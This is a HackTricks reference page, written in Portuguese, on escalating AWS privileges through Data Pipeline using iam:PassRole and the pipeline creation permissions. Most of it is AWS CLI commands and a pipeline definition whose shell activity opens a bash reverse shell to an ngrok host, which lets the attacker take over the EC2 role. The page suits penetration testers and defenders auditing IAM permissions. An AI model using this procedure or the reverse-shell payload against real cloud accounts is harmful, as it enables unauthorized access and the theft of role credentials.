AWS - Datapipeline Privesc

Support HackTricks

datapipeline

Para mais informações sobre datapipeline, confira:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Usuários com essas permissões podem escalar privilégios criando um Data Pipeline para executar comandos arbitrários usando as permissões do papel atribuído:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Após a criação do pipeline, o atacante atualiza sua definição para ditar ações específicas ou criações de recursos:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Observe que a função nas linhas 14, 15 e 27 precisa ser uma função assumível por datapipeline.amazonaws.com e a função na linha 28 precisa ser uma função assumível por ec2.amazonaws.com com um perfil de instância EC2.

Além disso, a instância EC2 só terá acesso à função assumível pela instância EC2 (então você só pode roubar essa).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

O arquivo de definição do pipeline, elaborado pelo atacante, inclui diretrizes para executar comandos ou criar recursos via API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.

Impacto Potencial: Privesc direto para a função de serviço ec2 especificada.

Referências

Support HackTricks

Last updated